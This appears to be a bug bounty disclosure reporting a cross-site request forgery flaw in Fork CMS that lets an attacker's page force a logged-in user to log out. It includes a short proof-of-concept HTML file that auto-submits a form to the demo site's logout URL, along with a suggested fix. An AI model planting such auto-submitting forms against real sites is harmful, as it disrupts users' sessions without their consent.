Cross-Site Request Forgery (CSRF) in forkcms/forkcms
Valid
Reported on
Sep 5th 2021
✍️ Description
Attacker is able to logout a user if a logged in user visits attacker website.
🕵️♂️ Proof of Concept
1.when you logged in open this POC.html in a browser
2.you can check unintentionally you logged out
//POC.html
<html>
<script>history.pushState('', '', '/')</script>
<form action="https://demo.fork-cms.com/private/en/authentication/logout">
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
💥 Impact
This vulnerability is capable of forging user to unintentional logout.
💥 Test
Tested on Edge, firefox, chrome and safari.
💥 Fix
You should set a CSRF token on such GET requests.
References
We have contacted a member of the
forkcms
team and are waiting to hear back
2 years ago
to join this conversation